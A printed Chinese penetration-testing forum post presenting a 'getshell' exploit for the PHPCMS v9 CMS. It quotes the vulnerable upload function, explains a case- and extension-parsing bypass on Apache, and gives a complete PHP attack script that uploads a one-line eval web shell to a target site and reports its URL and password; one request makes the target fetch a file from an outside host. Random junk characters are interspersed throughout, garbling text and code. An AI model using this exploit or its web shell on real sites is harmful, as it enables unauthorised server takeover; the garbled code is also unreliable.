中国网络渗透测试联盟

标题: PHPCMS v9 Getshell [打印本页]

作者: admin    时间: 2013-3-7 13:06
标题: PHPCMS v9 Getshell
漏洞类型: 文件上传导致任意代码执行! V" G" E5 H' e1 L

6 _6 K3 X! ?* k简要描述:
; J" i$ g, u5 q
+ }" n. [- c1 K- Mphpcms v9 getshell (apache)
+ Q+ |- o' T: R' W5 D+ y; f2 e; T详细说明:/ ]+ V( n$ r/ ?# n. y% I$ l5 ~

* X' z4 M2 q& t+ A7 U. l2 d: S漏洞文件:phpcms\modules\attachment\attachments.php, M2 S$ ~+ z, i+ ^( O
! d  e, B9 H) f# Z7 ]. r  Z* H
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } " @& I; y: f# ?3 X: g, i9 ]3 `* g
后缀检测:phpcms\modules\attachment\functions\global.func.php
4 g; {4 a2 b3 X7 c. W
( R9 m( @; f- P: Y $ _( x* O% T+ H0 q" ?

6 p  [! o/ Y2 d. l  h# U, jfunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
9 l4 w; \" R5 w8 v1 I! ^+ d' z) c2 ?
关键函数:
" r! u: ~& s9 ^. {2 c! z' C
% T( m5 j4 r" o* }" O# ?" u3 ] # S; Q* z8 n; v3 ?

2 H( h1 z. P; |* u) Efunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
+ |5 }) [- S4 B, x
) j4 E, |) C# \9 b# H3 O) g  Fileext函数是对文件后缀名的提取。! \5 V! ?- H5 L9 }7 E! p
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
* c2 w) S, \1 R, b* Y经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。0 B, ]1 R1 \8 T! D
我们回到public function crop_upload() 函数中: i( L4 c* w; Y6 a% e
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();! U& a/ Z& S% S% I3 q( j1 F4 R
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
% ]$ N7 s  [9 h0 d: ?这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。. C* [' Z2 G+ `/ f8 y6 v! P
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。+ o+ ?9 Q7 h/ c
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。  C; ~  J8 [, y* y+ Y( C2 C9 i# I3 X* j
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
# r$ T! z6 R: W& H漏洞证明:4 `! Q' L- _* s6 ^/ v
2 t2 o8 k* O, M- P3 {0 S, y: H
exp:
/ [  z1 M2 Z, J
* |8 N! L6 ~  s8 V# V% \; j<?php8 f+ r% ?# a3 E8 t" I! x
error_reporting(E_ERROR);1 @# w. Z* ^" Q1 P5 G  ^# o9 }9 d
set_time_limit(0);
, T0 d- z  \% w$pass="ln";" C" }5 f, F6 H/ C, t0 J
print_r('/ `) F" V$ d) [' z# q
+---------------------------------------------------------------------------+
5 `' z1 e7 d  G& f4 jPHPCms V9 GETSHELL 0DAY
, X1 T+ m* E# S# f3 hcode by L.N.
$ u; ?: [& J4 A  q+ L+ o9 \, p0 H# T( j! L( [; v
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net5 A6 C' ^+ ]  Y; V* W' T7 Z1 G
+---------------------------------------------------------------------------+% N/ C1 A, Z+ K, K2 E. ]9 B* W2 ^
');
5 _* a  X6 M6 vif ($argc < 2) {
. }: D5 T) _1 r& ~% oprint_r('
+ d  u8 x% N5 B. p, @, S% z+---------------------------------------------------------------------------+, I; Y# a; K4 S6 V  z' m! c* ~% W2 j
Usage: php '.$argv[0].' url path: K* @+ {$ ]. L  k7 @

% f* l! B* w( NExample:* Q8 p, F# f% I! B
1.php '.$argv[0].' lanu.sinaapp.com
1 I9 E, l) ]7 o# \! @3 t$ Q2.php '.$argv[0].' lanu.sinaapp.com /phpcms
! w8 C( m: ]6 F7 Q: o: ^+---------------------------------------------------------------------------+; o9 h' \9 r* P5 s3 U$ k
');) y6 ]7 D1 B3 b% }
exit;. A9 M1 ]9 X) Z  c
}
0 b1 K4 R4 c$ n: D5 _
! z5 K% l9 |" R9 d# q* @! X$url = $argv[1];
9 F( t- w* R+ f/ g/ O$path = $argv[2];" ^6 s- y. g: D7 _9 p
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
: E' c% ]7 ~, b) R5 ~$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';# }. `" L4 \, ]% K
if($ret=Create_dir($url,$path))& i9 |9 Q) r' x! ^9 C
{
* m- N1 O3 l2 {  j//echo $ret;* {8 r# F" O# ~8 g# s8 v8 `
$pattern = "|Server:[^,]+?|U";3 j! t" i% i- e$ j
preg_match_all($pattern, $ret, $matches);
5 Y: o) y# V- K& O0 nif($matches[0][0])
5 h# c5 ~4 {0 O0 ^{
5 {4 p7 A( z6 [( Hif(strpos($matches[0][0],'Apache') == false)8 Z/ ?! @/ R" c- o7 e" `: O
{
' e. a" J1 `- Y; U1 Y( P% l; \echo "\n亲!此网站不是apache的网站。\n";exit;2 x3 t/ S/ ~6 o: q! m
}
6 W# y! p) z4 Q! W}
* S* o+ r- L2 j! {1 k& a- [$ret = GetShell($url,$phpshell,$path,$file);& S/ B% q  E7 |: [; u
$pattern = "|http:\/\/[^,]+?\.,?|U";
% s5 g6 \% u7 T3 Lpreg_match_all($pattern, $ret, $matches);: h+ ^, \  v2 n4 ]( t7 \
if($matches[0][0])- y: T7 v! |) y+ Z9 s) w
{
6 t$ P8 s& N( x4 L- W2 N% L; `( necho "\n".'密码为: '.$pass."\n";2 r5 Y. X  `$ |. Y1 r7 k( w1 U3 i
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;# R& F% l$ L1 o
}# R7 V+ u: b1 M+ Y0 e7 d- \
else* c: @5 o! P7 C% E8 B  q9 }8 I  z
{" g# F0 y! D+ p- h# L8 G2 H$ R
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";3 i0 ?' W% v5 \* Q; ^$ n: L
preg_match_all($pattern, $ret, $matches);* k% c& b. k  @! O
if($matches[0][0])' T" y5 D; U5 G
{
! g3 K8 H1 x. Z0 \/ X' Gecho "\n".'密码为: '.$pass."\n";3 J: F' ^( E0 t  ?
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;& e" @% e  k2 s- |- J. g
}
1 w, R0 |" R5 Xelse4 g2 J- W! ?4 _4 o9 X4 r3 T# G
{3 v& n8 ~8 j6 C$ U4 S+ v" @
echo "\r\n没得到!\n";exit;
; \) ?+ o1 C7 |  e1 B}
1 h0 x7 W4 ^* v  f( a& K}
# _" |$ M+ W1 s3 P$ ?}
) E" G+ P. y8 Y1 n9 C5 L9 f9 F: i, Z3 B0 O: c  H; h
function GetShell($url,$shell,$path,$js)
% v8 O: T" @- H' R{, m! }, z* L; x4 ~
$content =$shell;
' Z9 R. D( p6 G) M! o$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";, L" ?$ ?- G6 I, j* a# E
$data .= "Host: ".$url."\r\n";5 K; o5 O: y  i# O# \
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
. `7 c4 D6 C- B- W2 W, q5 y$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
1 ?* r/ Z# p% E% C: ~$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
  W9 e1 R, E3 y; Q9 W4 {. W$data .= "Connection: close\r\n";% F( g+ M5 _9 f6 Z
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";! N# |' j& U' q& G
$data .= $content."\r\n";" U' ~0 J) [- U# C
$ock=fsockopen($url,80);
" Z. y, T% S& L5 \: K7 h. {" U" g, Wif (!$ock)! ]7 e" e/ K' V" j
{
/ x; q/ b- D, E6 Eecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;6 E/ a9 X9 o+ ?; m7 m( [8 s$ E& l
}2 `) D/ n, W6 U8 U: a6 ^
else" l  `# w) r4 L+ A
{
) ]% r) k0 Q- j. v2 l: r) a6 `fwrite($ock,$data);
: S* P8 i5 ~" d$resp = '';7 {8 O2 x' U  Y4 [/ y& L+ Z) v
while (!feof($ock))( l; K5 D1 e: Q% `$ N2 a
{' s4 M. h  \6 B0 `/ t
$resp.=fread($ock, 1024);( H. M1 K" p3 K% s( v2 q
}2 d( _/ l% E$ i9 z
return $resp;
; r$ f" M9 e. L, s  ~}
: o, Y! A3 ?' S}0 b, r5 L8 N8 c: l- g
, m0 V- m/ u- X+ b1 Q
function Create_dir($url,$path='')! w4 B" u3 {% A' b8 G$ A
{
& H2 e* T9 U! ~" u- m" ^# [4 C$content ='I love you';# M2 Y/ v  ], X# H
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";- N" r5 o( Q, M. n. d& g5 N
$data .= "Host: ".$url."\r\n";
9 j$ n) ~; b! M/ J. q$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";0 K- G3 f4 k! N6 m% `- Q& T2 M) `
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
5 A. f: E4 `8 u9 B3 x# n$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";6 V3 ^/ U- q+ j' L
$data .= "Connection: close\r\n";) H1 C" Q9 B; n1 A3 X: S
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
" t' ]2 K- ^9 Z0 V, |$data .= $content."\r\n";
8 `( p+ z/ i* w$ x7 D: k, [$ock=fsockopen($url,80);
5 `6 q8 l3 X$ `6 Iif (!$ock)
# b5 L, b. I  T5 ~{
/ F' ?; N( v9 p+ ~( i( Z7 Qecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;; B2 _5 L' T0 X2 p
}
  m( }1 [4 d% y0 [* F- Ifwrite($ock,$data);' L& E7 {# k( T6 R* d8 ~* N
$resp = '';$ d/ x* }- Z# m9 r% }9 X) M
while (!feof($ock))
4 }9 R5 C5 Y' {: M$ B{* T  Q( ~4 v( \; N" m
$resp.=fread($ock, 1024);
& j+ v4 Y6 }* \7 N  J8 s}
# ]# l- O. q: j: E& Jreturn $resp;
' H  H- R  W& q8 v}
2 T9 e8 p7 p5 x5 [* f# o?>
4 t9 [+ X. f8 f- E( |6 W " t+ {9 x9 H0 s( ]0 ]
修复方案:$ W! F' m9 f/ t) p' Q

9 }9 Z& V! |! ]- v* Z4 H( J5 ]) U过滤过滤再过滤; r' l+ O) d6 G, X" T
2 \% T% o% e+ a6 }* z





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2